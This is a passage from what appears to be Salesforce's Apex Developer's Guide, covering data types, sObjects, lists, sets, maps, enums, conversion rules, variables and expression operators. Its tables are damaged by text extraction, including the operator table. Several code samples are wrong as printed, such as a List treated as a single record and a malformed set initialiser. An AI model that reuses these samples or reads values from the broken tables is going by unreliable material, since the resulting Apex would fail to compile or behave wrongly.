  - A map from a primitive to a primitive, sObject, or collection (see Maps on page 37)
- A typed list of values, also known as an enum (see Enums on page 39)
- Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 88)
- Objects created from system supplied Apex classes (see Apex Classes on page 327)
- Null (for the null constant, which can be assigned to any variable)

Methods can return values of any of the listed types, or return no value and be of type Void.

Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of the error. For more information, see Debugging Apex on page 176.

Primitive Data Types

Apex uses the same primitive data types as the Web services API. All primitive data types are passed by value, not by reference. Apex primitive data types include:

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Blob</td>
<td>A collection of binary data stored as a single object. You can convert this datatype to String or from String using the toString and valueOf methods, respectively. Blobs can be accepted as Web service arguments, stored in a document (the body of a document is a Blob), or sent as attachments. See Crypto Class on page 383 for more information.</td>
</tr>
<tr>
<td>Boolean</td>
<td>A value that can only be assigned true, false, or null. For example:</td>
</tr>
<tr>
<td></td>
<td>Boolean isWinner = true;</td>
</tr>
<tr>
<td>Date</td>
<td>A value that indicates a particular day. Unlike Datetime values, Date values contain no information about time. Date values must always be created with a system static method. You cannot manipulate a Date value, such as add days, merely by adding a number to a Date variable. You must use the Date methods instead.</td>
</tr>
<tr>
<td>Datetime</td>
<td>A value that indicates a particular day and time, such as a timestamp. Datetime values must always be created with a system static method. You cannot manipulate a Datetime value, such as add minutes, merely by adding a number to a Datetime variable. You must use the Datetime methods instead.</td>
</tr>
<tr>
<td>Data Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------</td>
<td>-------------</td>
</tr>
<tr>
<td>Decimal</td>
<td>A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields are automatically assigned the type Decimal. &lt;br&gt; If you do not explicitly set the <code>scale</code>, that is, the number of decimal places, for a Decimal using the <code>setScale</code> method, the scale is determined by the item from which the Decimal is created.  &lt;br&gt; - If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.  &lt;br&gt; - If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.  &lt;br&gt; - If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.</td>
</tr>
<tr>
<td>Double</td>
<td>A 64-bit number that includes a decimal point. Doubles have a minimum value of (-2^{63}) and a maximum value of (2^{63}-1). For example: &lt;br&gt; <code>java&lt;br&gt; Double d=3.14159;&lt;br&gt;</code> &lt;br&gt;Note that scientific notation (e) for Doubles is not supported.</td>
</tr>
</tbody>
</table>
| ID        | Any valid 18-character Force.com record identifier. For example: <br> ```java<br> ID id='00300000003T2PGAA0';
``` <br>Note that if you set `ID` to a 15-character value, Apex automatically converts the value to its 18-character representation. All invalid `ID` values are rejected with a runtime exception. |
| Integer   | A 32-bit number that does not include a decimal point. Integers have a minimum value of \(-2,147,483,648\) and a maximum value of \(2,147,483,647\). For example: <br> ```java<br> Integer i = 1;
``` |
| Long      | A 64-bit number that does not include a decimal point. Longs have a minimum value of \(-2^{63}\) and a maximum value of \(2^{63}-1\). Use this datatype when you need a range of values wider than those provided by Integer. For example: <br> ```java<br> Long l = 2147483648L;
``` |
| String    | Any set of characters surrounded by single quotes. For example, <br> ```java<br> String s = 'The quick brown fox jumped over the lazy dog.';
``` <br>**String size:** Strings have no limit on the number of characters they can include. Instead, the heap size limit is used to ensure that your Apex programs don’t grow too large.  <br>**Empty Strings and Trailing Whitespace:** sObject String field values follow the same rules as in the Web services API: they can never be empty (only `null`), and they can never include leading and trailing whitespace. These conventions are necessary for database storage. Conversely, Strings in Apex can be `null` or empty, and can include leading and trailing whitespace (such as might be used to construct a message). |
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is created or updated. In the following example, when the Solution displays on a detail page, the SolutionNote field has H1 HTML formatting applied to it:

```apex
trigger t on Solution (before insert) {
    Trigger.new[0].SolutionNote = '<h1>hello</h1>'; 
}
```

In the following example, when the Solution displays on a detail page, the SolutionNote field only contains HelloGoodbye:

```apex
trigger t2 on Solution (before insert) {
    Trigger.new[0].SolutionNote = '<javascript>Hello</javascript>Goodbye'; 
}
```

For more information, see “What are HTML Solutions?” in the Salesforce online help.

**Escape Sequences:** All Strings in Apex use the same escape sequences as SOQL strings: \b (backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote), \' (single quote), and \\ (backslash).

**Comparison Operators:** Unlike Java, Apex Strings support use of the comparison operators ==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings are collated according to the context user's locale, and are not case sensitive. For more information, see Operators on page 44.

**String Methods:** As in Java, Strings can be manipulated with a number of standard methods. See String Methods for information.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Time</td>
<td>A value that indicates a particular time. Time values must always be created with a system static method. See Time Methods on page 256 for information.</td>
</tr>
</tbody>
</table>

In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:

- **AnyType.** The `valueOf` static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within the Force.com platform database exclusively for sObject fields in field history tracking tables.

- **Currency.** The `Currency.newInstance` static method creates a literal of type Currency. This method is for use solely within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.

For more information on the AnyType data type, see [www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm](http://www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm) in the Web Services API Developer's Guide.
**sObject Types**

In this developer’s guide, the term *sObject* refers to any object that can be stored in the Force.com platform database. An sObject variable represents a row of data and can only be declared in Apex using the Web services API name of the object. For example:

```java
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
```

Similar to the Web services API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used in code that processes different types of sObjects. sObjects are always passed by reference in Apex.

The `new` operator still requires a concrete sObject type, so all instances are specific sObjects. For example:

```java
sObject s = new Account();
```

You can also use casting between the generic sObject type and the specific sObject type. For example:

```java
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
```

Because sObjects work like objects, you can also have the following:

```java
Object obj = s;
// and
a = (Account)obj;
```

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects. sObject variables are initialized to `null`, but can be assigned a valid object reference with the `new` operator. For example:

```java
Account a = new Account();
```

Developers can also specify initial field values with comma-separated `name = value` pairs when instantiating a new sObject. For example:

```java
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
```

For information on accessing existing sObjects from the Force.com platform database, see SOQL and SOSL Queries on page 57.

**Note:** The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is initially inserted to the database for the first time. For more information see Lists on page 34.

**Custom Labels**

Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom label using `system.label.label_name`. For example:

```java
String errorMsg = System.Label.generic_error;
```
For more information on custom labels, see “Custom Labels Overview” in the Salesforce online help.

**Accessing sObject Fields**

As in Java, sObject fields can be accessed or changed with simple dot notation. For example:

```java
Account a = new Account();
a.name = 'Acme'; // Access the account name field and assign it 'Acme'
```

System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be changed.

If you use the generic sObject type, instead of a specific object such as Account, you can only retrieve the ID field. For example:

```java
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
Insert a;
List<sObject> s = [select id, name from account where name = 'Acme' limit 1];
// This is allowed
ID id = s.ID;
// The following lines result in errors when you try to save
String x = s.name;
s.ID = [select id from Account where name = 'Acme' limit 1];
```

**Note:** If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person accounts. If your script creates a new account using name, a business account is created. If the script uses LastName, a person account is created.

If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:

```java
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
Insert a;
List<sObject> s = [select id, name from account where name = 'Acme' limit 1];
// This is allowed
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
Update convertedAccount;
Contact sal = new Contact(firstname = 'Sal', account = convertedAccount);
```

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:

```java
public class convertToCLA {
    List<Contact> contacts;
    List<Lead> leads;
    List<Account> accounts;

    public void convertType(Integer phoneNumber) {
        List<List<sObject>> results = [find {4155557000} in phone fields returning contact(id, phone, firstname, lastname), lead(id, phone, firstname, lastname), account(id, phone, name)];
        sObject[] records = ((List<sObject>)results[0]);
        if (!records.isEmpty()) {
            for (Integer i = 0; i < records.size(); i++) {
                sObject record = records[i];
                if (record.getSObjectType() == Contact.sObjectType) {
                    contacts.add((Contact) record);
                } else if (record.getSObjectType() == Lead.sObjectType){
                    leads.add((Lead) record);
                } else { /* account */
```

```java
```
Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account that points to the associated sObject record itself.

The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note below).

For example, the following Apex script shows how an account and a contact can be associated with one another, and then how the contact can be used to modify a field on the account:

**Note:** In order to provide the most complete example, this code uses some elements that are described later in this guide:

- For information on insert and update, see Insert Operation on page 223 and Update Operation on page 223.
- For information on SOQL and SOSL, see SOQL and SOSL Queries on page 57.

```apex
Account a = new Account(name = 'Acme');
insert a; // Inserting the record automatically assigns a
          // value to its ID field
Contact c = new Contact(lastName = 'Weissman');
c.accountId = a.Id;
// The new contact now points at the new account
insert c;

// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [select account.name from contact where id = :c.id];

// Now fields in both records can be changed through the contact
c.account.name = 'salesforce.com';
c.lastName = 'Roth';

// To update the database, the two types of records must be
// updated separately
update c; // This only changes the contact's last name
update c.account; // This updates the account name
```

**Note:** The expression c.account.name, as well as any other expression that traverses a relationship, displays slightly different characteristics when it is read as a value than when it is modified:

- When being read as a value, if c.account is null, then c.account.name evaluates to null, but does not yield a NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having to check for null values.
- When being modified, if c.account is null, then c.account.name does yield a NullPointerException.
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:

```java
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(account = refAcct, lastName = 'Kay');
insert c;
```

This inserts a new contact with the AccountId equal to the account with the external_id equal to '12345'. If there is no such account, the insert fails.

**Tip:**

The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on execution limits, see Understanding Execution Governors and Limits on page 188.

```java
Account refAcct = [select id from Account where externalId__c='12345'];
Contact c = new Contact(account = refAcct.id);
insert c;
```

### Validating sObjects and Fields

When an Apex script is parsed and validated, all sObject and field references are validated against actual object and field names, and a parse-time exception is thrown when an invalid name is used.

In addition, the Apex parser tracks the custom objects and fields that are used, both in the script's syntax as well as in embedded SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause an Apex script to become invalid:

- Changing a field or object name
- Converting from one data type to another
- Deleting a field or object
- Making certain organization-wide changes, such as record sharing, field history tracking, or record types

### Collections

Apex has the following types of collections:

- Lists
- Maps
- Sets

**Note:** There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

### Lists

A list is an ordered collection of typed primitives, sObjects, user-defined objects, Apex objects or collections that are distinguished by their indices. For example, the following table is a visual representation of a list of Strings:
The index position of the first element in a list is always 0.

Because lists can contain any collection, they can be nested within one another and become multidimensional. For example, you can have a list of lists of sets of Integers. A list can only contain up to five levels of nested collections inside it.

To declare a list, use the `List` keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For example:

```java
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>());
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account LIMIT 1000];
```

To access elements in a list, use the system methods provided by Apex. For example:

```java
List<Integer> MyList = new List<Integer>(); // Define a new list
MyList.add(47); // Adds a second element of value 47 to the end of the list
MyList.get(0); // Retrieves the element at index 0
MyList.set(0, 1); // Adds the integer 1 to the list at index 0
MyList.clear(); // Removes all elements from the list
```

For more information, including a complete list of all supported methods, see List Methods on page 257.

**Using Array Notation for One-Dimensional Lists of Primitives or sObjects**

When using one-dimensional lists of primitives or sObjects, you can also use more traditional array notation to declare and reference list elements. For example, you can declare a one-dimensional list of primitives or sObjects by following the data or sObject type name with the [] characters:

```java
String[] colors = new List<String>();
```

To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element’s index position in square brackets. For example:

```java
colors[3] = 'Green';
```
All lists are initialized to `null`. Lists can be assigned values and allocated memory using literal notation. For example:

<table>
<thead>
<tr>
<th>Example</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>List&lt;Integer&gt; ints = new Integer[0];</code></td>
<td>Defines an Integer list with no elements</td>
</tr>
<tr>
<td><code>List&lt;Account&gt; accts = new Account[]{};</code></td>
<td>Defines an Account list with no elements</td>
</tr>
<tr>
<td><code>List&lt;Integer&gt; ints = new Integer[6];</code></td>
<td>Defines an Integer list with memory allocated for six Integers</td>
</tr>
<tr>
<td><code>List&lt;Account&gt; accts = new Account[]{new Account(), null, new Account()};</code></td>
<td>Defines an Account list with memory allocated for three Accounts, including a new Account object in the first position, <code>null</code> in the second position, and another new Account object in the third position</td>
</tr>
<tr>
<td><code>List&lt;Contact&gt; contacts = new List&lt;Contact&gt;(otherList);</code></td>
<td>Defines the Contact list with a new list</td>
</tr>
</tbody>
</table>

**Lists of sObjects**

Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the same sObject more than once, even if it has a `null` ID. This situation would imply that two IDs would need to be written to the same structure in memory, which is illegal.

For example, the `insert` statement in the following block of code generates a `ListException` because it tries to insert a list with two references to the same sObject (`a`):

```
try {
    // Create a list with two references to the same sObject element
    Account a = new Account();
    Account[] accs = new Account[]{a, a};
    // Attempt to insert it...
    insert accs;
    // Will not get here
    System.assert(false);
} catch (ListException e) {
    // But will get here
}
```

For more information on DML statements, see Apex Data Manipulation Language (DML) Operations on page 217.

You can use the generic sObject data type with lists. You can also create a generic instance of a list.

**Sets**

A set is an unordered collection of primitives or sObjects that do not contain any duplicate elements. For example, the following table represents a set of String, that uses city names:

| 'San Francisco' | 'New York' | 'Paris' | 'Tokyo' |
To declare a set, use the `Set` keyword followed by the primitive data type name within <> characters. For example:

```java
new Set<String>()
```

The following are ways to declare and populate a set:

```java
Set<String> s1 = new Set<String>['a', 'b + c']; // Defines a new set with two elements
Set<String> s2 = new Set<String>({s1}); // Defines a new set that contains the elements of the set created in the previous step
```

To access elements in a set, use the system methods provided by Apex. For example:

```java
Set<Integer> s = new Set<Integer>(); // Define a new set
s.add(1); // Add an element to the set
System.assert(s.contains(1)); // Assert that the set contains an element
s.remove(1); // Remove the element from the set
```

Uniqueness of sObjects is determined by comparing fields. For example, if you try to add two accounts with the same name to a set, only one is added.

```java
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');

// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);
```

However, if you add a description to one of the accounts, it is considered unique:

```java
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');

// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);
```

For more information, including a complete list of all supported set system methods, see Set Methods on page 265.

Note the following limitations on sets:

- Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example, `HashSet` or `TreeSet`). Apex uses a hash structure for all sets.
- A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned by sets may change without warning.

### Maps

A map is a collection of key-value pairs where each unique key maps to a single value. Keys can be any primitive data type, while values can be a primitive, sObject, collection type or an Apex object. For example, the following table represents a map of countries and currencies:

<table>
<thead>
<tr>
<th>Country (Key)</th>
<th>'United States'</th>
<th>'Japan'</th>
<th>'France'</th>
<th>'England'</th>
<th>'India'</th>
</tr>
</thead>
</table>
Similar to lists, map values can contain any collection, and can be nested within one another. For example, you can have a map of Integers to maps, which, in turn, map Strings to lists. A map can only contain up to five levels of nested collections inside it.

To declare a map, use the `Map` keyword followed by the data types of the key and the value within <> characters. For example:

```
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
Map<ID, Map<ID, Account[]>> m2 = new Map<ID, Map<ID, Account[]>>();
```

You can use the generic sObject data type with maps. You can also create a generic instance of a map.

As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({} ) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. For example:

```
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()};
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
```

In the first example, the value for the key a is b, and the value for the key c is d. In the second, the key 1 has the value of the list accs.

To access elements in a map, use the system methods provided by Apex. For example:

```
Account myAcct = new Account(); //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct); // Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1); // Retrieve a value, given a particular key
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map
```

For more information, including a complete list of all supported map system methods, see Map Methods on page 262.

Note the following limitations on maps:

- Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for example, HashMap or TreeMap). Apex uses a hash structure for all maps.
- Do not rely on the order in which map results are returned. The order of objects returned by maps may change without warning. Always access map elements by key.

### Maps from sObject Arrays

Maps from an ID or String data type to an sObject can be initialized from a list of sObjects. The IDs of the objects (which must be non-null and distinct) are used as the keys. One common usage of this map type is for in-memory “joins” between two tables. For instance, this example loads a map of IDs and Contacts:

```
Map<ID, Contact> m = new Map<ID, Contact>((select id, lastname from contact));
```

In the example, the SOQL query returns a list of contacts with their id and lastname fields. The new operator uses the list to create a map. For more information, see SOQL and SOSL Queries on page 57.
Iterating Collections

Collections can consist of lists, sets, or maps. Modifying a collection’s elements while iterating through that collection is not supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.

Adding Elements During Iteration

To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original after you finish iterating the collection.

Removing Elements During Iteration

To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements you wish to remove to a temporary list and remove them after you finish iterating the collection.

Note:
The List.remove method performs linearly. Using it to remove elements has time and resource implications.

To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you finish iterating the collection.

Enums

An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that do not otherwise have a numerical order, such as the suit of a card, or a particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you do not inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be declared of that type.

Note: Unlike Java, the enum type itself has no constructor syntax.

To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example, the following code creates an enum called Season:

```java
public enum Season {WINTER, SPRING, SUMMER, FALL}
```

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might any other data type. For example:

```java
Season e = Season.WINTER;
Season m(Integer x, Season e) { 
    If (e == Season.SUMMER) return e; 
    //...
  }
```

You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.

```java
public enum MyEnumClass { X, Y }
```

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you assign to it must be an instance of that enum class.
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions for the enum and its values, which can then be used by the API client.

Apex provides the following system-defined enums:

- **SystemgetStatusCode**
  This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:

  ```
  StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
  StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
  ```

  The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.

- **System.xmlTag**
  This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see XmlStreamReader Class on page 391.

- **System.ApplicationReadWriteMode**: This enum indicates if an organization is in 5 Minute Upgrade read-only mode during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode Enum on page 318.

  **Note**: 5 Minute Upgrade is currently available through a pilot program. For information on enabling 5 Minute Upgrade for your organization, contact salesforce.com.

- **System.loggingLevel**
  This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System Methods on page 313.

- **System.RoundingMode**
  This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as the Decimal divide method and the Double round method. For more information, see Rounding Mode on page 247.

- **System.soapType**
  This enum is returned by the field describe result getSoapType method. For more informations, see Schema.SOAPType Enum Values on page 285.

- **SystemsetDisplayType**
  This enum is returned by the field describe result getType method. For more information, see Schema.DisplayType Enum Values on page 283.

- **ApexPages.severity**
  This enum specifies the severity of a Visualforce message. For more information, see ApexPages.severity Enum on page 356.

- **Dom.xmlNodeType**
  This enum specifies the node type in a DOM document. For more information, see Node Types on page 399.

  **Note**: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods on page 268.

You cannot add user-defined methods to enum values.

**Understanding Rules of Conversion**

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the `string.format` method. However, a few data types can be implicitly converted, without using a method.

Numbers form a hierarchy of types Variables of lower numeric types can always be assigned to higher types without explicit conversion. The following is the hierarchy for numbers, from lowest to highest:

1. Integer
2. Long
3. Double
4. Decimal

**Note:** Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the higher type of number.

Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and implicit object conversion is never allowed.

In addition to numbers, other data types can be implicitly converted. The following rules apply:

- IDs can always be assigned to Strings.
- Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime exception is thrown.
- The `instanceOf` keyword can always be used to test whether a string is an ID.

**Variables**

Local variables are declared with Java-style syntax. For example:

```java
Integer i = 0;
String str;
Account a;
Account[] accts;
Set<String> s;
Map<ID, Account> m;
```

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:

```java
Integer i, j, k;
```

All variables allow `null` as a value and are initialized to `null` if they are not assigned another value. For instance, in the following example, `i`, and `k` are assigned values, while `j` is set to `null` because it is not assigned:

```java
Integer i = 0, j, k = 1;
```
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks cannot redefine a variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:

```apex
Integer i;
{
    // Integer i; This declaration is not allowed
}
for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);
```

**Case Sensitivity**

To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:

- Variable and method names are case insensitive. For example:
  ```apex
  Integer I;
  //Integer i; This would be an error.
  ```
- References to object and field names are case insensitive. For example:
  ```apex
  Account a1;
  ACCOUNT a2;
  ```
- SOQL and SOSL statements are case insensitive. For example:
  ```apex
  Account[] accts = [sELECT ID From ACCOUNT where nAme = 'fred'];
  ```

Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the Web services API and the Salesforce user interface. The use of these semantics can lead to some interesting behavior. For example, if an end user generates a report based on a filter for values that come before ‘m’ in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this behavior is that users typically think of a field without a value as just a “space” character, rather than its actual “null” value. Consequently, in Apex, the following expressions all evaluate to true:

```apex
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
```

**Note:** Although `s < 'b'` evaluates to true in the example above, `'b'.compareTo(s)` generates an error because you are trying to compare a letter to a null value.

**Constants**

Constants can be defined using the `final` keyword, which means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer method if the constant is defined in a class. For example:

```apex
public class myCls {
    static final Integer PRIVATE_INT_CONST;
    static final Integer PRIVATE_INT_CONST2 = 200;
    public static Integer calculate() {
        return 2 + 7;
    }
}
```
Expressions

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an expression is always one of the following types:

- A literal expression. For example:

  \(1 + 1\)

- A new sObject, Apex object, list, set, or map. For example:

  ```
  new Account(<field_initializers>)
  new Integer<n>
  new Account[]<elements>
  new List<Account>()
  new Set<String>{}
  new Map<String, Integer>()
  new myRenamingClass(string oldName, string newName)
  ```

- Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and most sObject or Apex object field references. For example:

  ```
  Integer i
  myList[3]
  myContact.name
  myRenamingClass.oldName
  ```

- Any sObject field reference that is not an L-value, including:
  - The ID of an sObject in a list (see Lists)
  - A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type of expression yields a query result, much like SOQL and SOSL queries.
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:

```java
Account[] aa = [select id, name from account where name = 'Acme'];
Integer i = [select count() from contact where lastname = 'Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead];
```

For information, see SOQL and SOSL Queries on page 57.
• A static or instance method invocation. For example:

```java
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
```

### Understanding Expression Operators

Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators:

<table>
<thead>
<tr>
<th>Operator</th>
<th>Syntax</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>=</td>
<td>x = y</td>
<td><strong>Assignment operator</strong> (Right associative). Assigns the value of y to the L-value x. Note that the data type of x must match the data type of y, and cannot be null.</td>
</tr>
<tr>
<td>+=</td>
<td>x += y</td>
<td><strong>Addition assignment operator</strong> (Right associative). Adds the value of y to the original value of x and then reassigns the new value to x. See + for additional information. x and y cannot be null.</td>
</tr>
<tr>
<td>*=</td>
<td>x *= y</td>
<td><strong>Multiplication assignment operator</strong> (Right associative). Multiplies the value of y with the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null.</td>
</tr>
<tr>
<td>-=</td>
<td>x -= y</td>
<td><strong>Subtraction assignment operator</strong> (Right associative). Subtracts the value of y from the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null.</td>
</tr>
<tr>
<td>/=</td>
<td>x /= y</td>
<td><strong>Division assignment operator</strong> (Right associative). Divides the original value of x with the value of y and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null.</td>
</tr>
<tr>
<td></td>
<td>=</td>
<td>x</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• This operator exhibits “short-circuiting” behavior, which means y is evaluated only if x is false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• x and y cannot be null.</td>
</tr>
<tr>
<td>Operator</td>
<td>Syntax</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>--------</td>
<td>-------------</td>
</tr>
</tbody>
</table>
| &= | x &= y | **AND assignment operator** (Right associative). If $x$, a Boolean, and $y$, a Boolean, are both true, then $x$ remains true. Otherwise, $x$ is assigned the value of false.  
Note:  
  - This operator exhibits “short-circuiting” behavior, which means $y$ is evaluated only if $x$ is true.  
  - $x$ and $y$ cannot be null. |
| <<= | x <<= y | **Bitwise shift left assignment operator**. Shifts each bit in $x$ to the left by $y$ bits so that the high order bits are lost, and the new right bits are set to 0. This value is then reassigned to $x$. |
| >>= | x >>= y | **Bitwise shift right signed assignment operator**. Shifts each bit in $x$ to the right by $y$ bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of $y$ and 1 for negative values of $y$. This value is then reassigned to $x$. |
| >>>= | x >>>= y | **Bitwise shift right unsigned assignment operator**. Shifts each bit in $x$ to the right by $y$ bits so that the low order bits are lost, and the new left bits are set to 0 for all values of $y$. This value is then reassigned to $x$. |
| ? : | x ? y : z | **Ternary operator** (Right associative). This operator acts as a short-hand for if-then-else statements. If $x$, a Boolean, is true, $y$ is the result. Otherwise $z$ is the result. Note that $x$ cannot be null. |
| && | x && y | **AND logical operator** (Left associative). If $x$, a Boolean, and $y$, a Boolean, are both true, then the expression evaluates to true. Otherwise the expression evaluates to false.  
Note:  
  - && has precedence over ||  
  - This operator exhibits “short-circuiting” behavior, which means $y$ is evaluated only if $x$ is true.  
  - $x$ and $y$ cannot be null. |
